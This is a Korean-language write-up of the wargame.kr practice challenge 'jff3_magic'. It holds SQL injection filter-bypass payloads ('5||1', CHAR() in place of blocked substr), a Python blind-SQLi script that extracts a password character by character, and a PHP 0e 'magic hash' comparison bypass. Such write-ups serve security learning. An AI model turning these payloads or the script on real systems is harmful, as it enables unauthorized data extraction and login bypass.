This challenge is part of Just For Fun [Season3]. - thx to Comma@LeaveRet
jff3_magic 이란 무엇인가....
일단 문제에 들어가면 뭘해도 history.back(-1) 하고 있다. 뭘 눌러도 뒤로 간다. 그런데 이게 힌트라고 한다.
그렇다면, 레퍼러를 조작하면 들어갈 수 있을 것 같은 기분이 들었고 레퍼러를 이용해서 coomma나 orang 같은 페이지에 접근할 수 있었다. 그런데 그 이상은 감이 잘 안잡혔다...
no에 5 or 1를 넣으니 id 위칸에 있던 내용이 no hack 으로 변경되는것을 확인했다.
결국 no를 이용한 인젝션 문제 인것 같다
필터링 우회를 위해 5||1 를 입력하니 admin으로 나온다.
그래서 5||substr(... 이런식으로 쿼리를 짜서 한글자씩 비교하려니 no hack이라고 나온다. substr를 쓸 수 없다면.. 뭘로 해야하지?;
information.shcema 도 볼 수 없고.. 0x 로 시작하는 hex글자도 넣을 수가 없다
결국 직접적으로 컬럼 이름 알아내는건 어려울 것 같고, 그냥 pw라고 적혀있으니 pw로 사용해보기로 한다 ㅡㅡ
length는 막혀 있지 않은데,
substr, mid, left, right 뭐 다 막혀있다
그런데 기가 막히게 CHAR이 된다. 하하하 땡잡은 기분이다.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, time headers = {'Host': 'wargame.kr:8080'} print "FIND PASSWORD" pw = "" pw2 = "" for i in range(1,33): for j in range(47,91): data = "5||" data = data + "pw like CHAR({}{},{})".format(pw,ord(chr(j)),ord("%")) #print data data = urllib.quote(data) req = urllib2.Request("http://wargame.kr:8080/jff3_magic/?no=" + data, '', headers) response = urllib2.urlopen(req) res = response.read() #print res if "admin" in res: print j, chr(j) pw2 = pw2 + chr(j) pw = pw + str(ord(chr(j))) + "," print pw2
그런데 비밀번호로 로그인하려니 incorrect하다고 한다. 이게 무슨소리지?
그리고 incorrect password라면서 뭔가 이상한 해쉬가 나온다.
1을 넣고 검색해보니
50034bd20ef09138e2ff633365ea6879 란 값이 나오는데, 구글에 검색해보니 (Haval128,5) 이라는 걸로 해쉬화된것이라고 한다.
이건 또 뭐야..
그래서 검색을 좀 해보니 우리가 따낸 0E 어쩌고 hash. 어디서 본적이 있지 않나? 바로 이 문제에서 봤다.
0E로 시작하면 지수화 되버려서 magic hash가 된다고 한다. 그럼 0E로 만들어지는 haval128,5을 찾아보자
딱 하나 있다. 이걸 입력해주면!! 클리어!